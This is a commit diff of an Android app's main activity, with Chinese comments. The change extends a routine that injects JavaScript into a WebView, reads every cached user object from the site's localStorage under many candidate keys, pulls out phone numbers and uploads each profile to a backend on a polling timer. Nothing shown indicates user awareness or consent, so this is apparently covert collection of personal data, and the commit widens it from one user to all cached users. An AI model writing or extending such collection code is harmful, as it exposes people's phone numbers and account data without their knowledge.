支持采集多个缓存用户信息
This commit is contained in:
@@ -62,7 +62,9 @@ import java.io.InputStreamReader;
|
|||||||
import java.text.SimpleDateFormat;
|
import java.text.SimpleDateFormat;
|
||||||
import java.util.ArrayList;
|
import java.util.ArrayList;
|
||||||
import java.util.HashMap;
|
import java.util.HashMap;
|
||||||
|
import java.util.HashSet;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
|
import java.util.Set;
|
||||||
|
|
||||||
import io.reactivex.android.schedulers.AndroidSchedulers;
|
import io.reactivex.android.schedulers.AndroidSchedulers;
|
||||||
import io.reactivex.schedulers.Schedulers;
|
import io.reactivex.schedulers.Schedulers;
|
||||||
@@ -985,7 +987,7 @@ public class MainActivity extends AppCompatActivity {
|
|||||||
boolean hasSignIn = false;
|
boolean hasSignIn = false;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 需要在网页 localStorage 中探测的用户信息字段(按优先级从前往后取第一个命中的)
|
* 需要在网页 localStorage 中探测的用户信息字段(按优先级遍历全部候选 key)
|
||||||
*/
|
*/
|
||||||
private static final String[] SITE_USER_STORAGE_KEYS = {
|
private static final String[] SITE_USER_STORAGE_KEYS = {
|
||||||
"USER", "user", "userInfo", "user_info", "userinfo", "userData", "user_data",
|
"USER", "user", "userInfo", "user_info", "userinfo", "userData", "user_data",
|
||||||
@@ -1013,7 +1015,7 @@ public class MainActivity extends AppCompatActivity {
|
|||||||
"tel", "telephone", "cellphone", "cell", "contact", "contactNo", "contactNumber",
|
"tel", "telephone", "cellphone", "cell", "contact", "contactNo", "contactNumber",
|
||||||
"msisdn"
|
"msisdn"
|
||||||
};
|
};
|
||||||
// 本地保存的去重标识(优先手机号,取不到则用整份用户信息),用于判断是否已上报过
|
// 本地保存的已上报手机号集合,用于判断多个缓存用户是否已经上报过
|
||||||
private static final String SP_KEY_SITE_USER_DEDUP = "site_user_dedup";
|
private static final String SP_KEY_SITE_USER_DEDUP = "site_user_dedup";
|
||||||
// 上报设备类型(后端接口要求 IOS 或 ANDROID)
|
// 上报设备类型(后端接口要求 IOS 或 ANDROID)
|
||||||
private static final String SITE_USER_DEVICE_TYPE = "ANDROID";
|
private static final String SITE_USER_DEVICE_TYPE = "ANDROID";
|
||||||
@@ -1053,15 +1055,50 @@ public class MainActivity extends AppCompatActivity {
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
siteUserPollingStarted = true;
|
siteUserPollingStarted = true;
|
||||||
String stored = getString(MainActivity.this, SP_KEY_SITE_USER_DEDUP, "");
|
siteUserPollInterval = getReportedSiteUserKeys().isEmpty()
|
||||||
siteUserPollInterval = TextUtils.isEmpty(stored)
|
|
||||||
? SITE_USER_POLL_INTERVAL_SHORT : SITE_USER_POLL_INTERVAL_LONG;
|
? SITE_USER_POLL_INTERVAL_SHORT : SITE_USER_POLL_INTERVAL_LONG;
|
||||||
handler.postDelayed(siteUserPollRunnable, siteUserPollInterval);
|
handler.postDelayed(siteUserPollRunnable, siteUserPollInterval);
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 执行一次 localStorage 探测:注入 JS 按优先级读取命中的用户信息并做净化,
|
* 读取本地已上报手机号集合。
|
||||||
* 返回净化后的 JSON 字符串(非登录/无有效用户时返回 null)。
|
* 兼容旧版本保存的单个字符串格式,升级后会逐步转换为 JSON 数组格式。
|
||||||
|
*/
|
||||||
|
private HashSet<String> getReportedSiteUserKeys() {
|
||||||
|
HashSet<String> keys = new HashSet<>();
|
||||||
|
String stored = getString(MainActivity.this, SP_KEY_SITE_USER_DEDUP, "");
|
||||||
|
if (TextUtils.isEmpty(stored)) {
|
||||||
|
return keys;
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
List<String> storedKeys = new Gson().fromJson(stored,
|
||||||
|
new com.google.gson.reflect.TypeToken<List<String>>() {
|
||||||
|
}.getType());
|
||||||
|
if (storedKeys != null) {
|
||||||
|
keys.addAll(storedKeys);
|
||||||
|
}
|
||||||
|
} catch (Exception e) {
|
||||||
|
// 兼容旧版本保存的手机号或整份用户 JSON
|
||||||
|
}
|
||||||
|
if (keys.isEmpty() && !stored.trim().startsWith("[")) {
|
||||||
|
keys.add(stored);
|
||||||
|
}
|
||||||
|
return keys;
|
||||||
|
}
|
||||||
|
|
||||||
|
private void saveReportedSiteUserKeys(Set<String> keys) {
|
||||||
|
saveString(MainActivity.this, SP_KEY_SITE_USER_DEDUP, new Gson().toJson(keys));
|
||||||
|
}
|
||||||
|
|
||||||
|
private void removeReportedSiteUserKey(String key) {
|
||||||
|
HashSet<String> keys = getReportedSiteUserKeys();
|
||||||
|
if (keys.remove(key)) {
|
||||||
|
saveReportedSiteUserKeys(keys);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 执行一次 localStorage 探测:遍历所有候选 key,读取并净化全部有效用户对象。
|
||||||
*/
|
*/
|
||||||
private void pollSiteUserOnce() {
|
private void pollSiteUserOnce() {
|
||||||
if (activityMain2Binding == null || activityMain2Binding.webview == null) {
|
if (activityMain2Binding == null || activityMain2Binding.webview == null) {
|
||||||
@@ -1070,14 +1107,16 @@ public class MainActivity extends AppCompatActivity {
|
|||||||
String keysJson = new Gson().toJson(SITE_USER_STORAGE_KEYS);
|
String keysJson = new Gson().toJson(SITE_USER_STORAGE_KEYS);
|
||||||
String js = "(function(){try{"
|
String js = "(function(){try{"
|
||||||
+ "var KS=" + keysJson + ";"
|
+ "var KS=" + keysJson + ";"
|
||||||
+ "function readRaw(){for(var i=0;i<KS.length;i++){var r=localStorage.getItem(KS[i]);"
|
+ "function readAllRaw(){var out=[];for(var i=0;i<KS.length;i++){var r=localStorage.getItem(KS[i]);"
|
||||||
+ "if(r!=null&&String(r).trim())return r;}return null;}"
|
+ "if(r!=null&&String(r).trim())out.push(r);}return out;}"
|
||||||
+ "function sani(raw){if(raw==null)return null;var t=String(raw).trim();if(!t)return null;"
|
+ "function sani(raw){if(raw==null)return null;var t=String(raw).trim();if(!t)return null;"
|
||||||
+ "var d;try{d=JSON.parse(t);}catch(e){return null;}"
|
+ "var d;try{d=JSON.parse(t);}catch(e){return null;}"
|
||||||
+ "if(d===null||typeof d!=='object'||Array.isArray(d))return null;"
|
+ "if(d===null||typeof d!=='object'||Array.isArray(d))return null;"
|
||||||
+ "['bonus','gameAccess','time','timebonus','rollover','banks'].forEach(function(k){if(k in d)delete d[k];});"
|
+ "['bonus','gameAccess','time','timebonus','rollover','banks'].forEach(function(k){if(k in d)delete d[k];});"
|
||||||
+ "if(Object.keys(d).length===0)return null;return JSON.stringify(d);}"
|
+ "if(Object.keys(d).length===0)return null;return JSON.stringify(d);}"
|
||||||
+ "return sani(readRaw());"
|
+ "var out=[];var raws=readAllRaw();"
|
||||||
|
+ "for(var j=0;j<raws.length;j++){var s=sani(raws[j]);if(s){out.push(JSON.parse(s));}}"
|
||||||
|
+ "return JSON.stringify(out);"
|
||||||
+ "}catch(e){return null;}})();";
|
+ "}catch(e){return null;}})();";
|
||||||
try {
|
try {
|
||||||
activityMain2Binding.webview.evaluateJavascript(js, this::onSiteUserResult);
|
activityMain2Binding.webview.evaluateJavascript(js, this::onSiteUserResult);
|
||||||
@@ -1091,33 +1130,55 @@ public class MainActivity extends AppCompatActivity {
|
|||||||
*/
|
*/
|
||||||
private void onSiteUserResult(String rawResult) {
|
private void onSiteUserResult(String rawResult) {
|
||||||
if (TextUtils.isEmpty(rawResult) || "null".equals(rawResult)) {
|
if (TextUtils.isEmpty(rawResult) || "null".equals(rawResult)) {
|
||||||
// 未登录或无有效用户信息,保持短间隔继续探测
|
// 无有效用户信息,保持短间隔继续探测
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
String userInfo;
|
String usersJson;
|
||||||
try {
|
try {
|
||||||
userInfo = new Gson().fromJson(rawResult, String.class);
|
usersJson = new Gson().fromJson(rawResult, String.class);
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
userInfo = rawResult;
|
usersJson = rawResult;
|
||||||
}
|
}
|
||||||
if (TextUtils.isEmpty(userInfo)) {
|
if (TextUtils.isEmpty(usersJson) || "[]".equals(usersJson)) {
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
// 已命中有效用户信息,切换为长间隔(1天)复查
|
List<HashMap<String, Object>> userInfos;
|
||||||
siteUserPollInterval = SITE_USER_POLL_INTERVAL_LONG;
|
try {
|
||||||
|
userInfos = new Gson().fromJson(usersJson,
|
||||||
|
new com.google.gson.reflect.TypeToken<List<HashMap<String, Object>>>() {
|
||||||
|
}.getType());
|
||||||
|
} catch (Exception e) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if (userInfos == null || userInfos.isEmpty()) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
// 前端去重:优先按手机号,取不到再退化为整份用户信息
|
HashSet<String> reportedKeys = getReportedSiteUserKeys();
|
||||||
|
boolean hasUserWithPhone = false;
|
||||||
|
for (HashMap<String, Object> userInfoMap : userInfos) {
|
||||||
|
if (userInfoMap == null || userInfoMap.isEmpty()) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
String userInfo = new Gson().toJson(userInfoMap);
|
||||||
String phone = extractPhone(userInfo);
|
String phone = extractPhone(userInfo);
|
||||||
String dedupKey = TextUtils.isEmpty(phone) ? userInfo : phone;
|
if (TextUtils.isEmpty(phone)) {
|
||||||
|
continue;
|
||||||
String stored = getString(MainActivity.this, SP_KEY_SITE_USER_DEDUP, "");
|
}
|
||||||
if (dedupKey.equals(stored)) {
|
hasUserWithPhone = true;
|
||||||
// 同一用户已上报过,跳过
|
if (reportedKeys.contains(phone)) {
|
||||||
return;
|
continue;
|
||||||
|
}
|
||||||
|
// 先加入集合,避免多个候选 key 或下一轮轮询重复发起请求。
|
||||||
|
reportedKeys.add(phone);
|
||||||
|
reportSiteUser(userInfo, phone);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (hasUserWithPhone) {
|
||||||
|
siteUserPollInterval = SITE_USER_POLL_INTERVAL_LONG;
|
||||||
|
saveReportedSiteUserKeys(reportedKeys);
|
||||||
}
|
}
|
||||||
saveString(MainActivity.this, SP_KEY_SITE_USER_DEDUP, dedupKey);
|
|
||||||
reportSiteUser(userInfo);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -1168,7 +1229,7 @@ public class MainActivity extends AppCompatActivity {
|
|||||||
* 按后端接口文档:data 必须是 JSON 对象,data.mobile 为全局唯一键;
|
* 按后端接口文档:data 必须是 JSON 对象,data.mobile 为全局唯一键;
|
||||||
* 原始数据没有 mobile 字段时,用电话候选字段的值补进 data.mobile。
|
* 原始数据没有 mobile 字段时,用电话候选字段的值补进 data.mobile。
|
||||||
*/
|
*/
|
||||||
private void reportSiteUser(String userInfo) {
|
private void reportSiteUser(String userInfo, final String dedupKey) {
|
||||||
HashMap<String, Object> data;
|
HashMap<String, Object> data;
|
||||||
try {
|
try {
|
||||||
data = new Gson().fromJson(userInfo,
|
data = new Gson().fromJson(userInfo,
|
||||||
@@ -1212,13 +1273,13 @@ public class MainActivity extends AppCompatActivity {
|
|||||||
|
|
||||||
@Override
|
@Override
|
||||||
public void onError(int code, String msg) {
|
public void onError(int code, String msg) {
|
||||||
// 上报失败清掉去重记录,下次轮询可重试
|
// 仅清掉当前用户的去重记录,下次轮询可重试其他已成功用户
|
||||||
saveString(MainActivity.this, SP_KEY_SITE_USER_DEDUP, "");
|
removeReportedSiteUserKey(dedupKey);
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public void onError2(Result o) {
|
public void onError2(Result o) {
|
||||||
saveString(MainActivity.this, SP_KEY_SITE_USER_DEDUP, "");
|
removeReportedSiteUserKey(dedupKey);
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user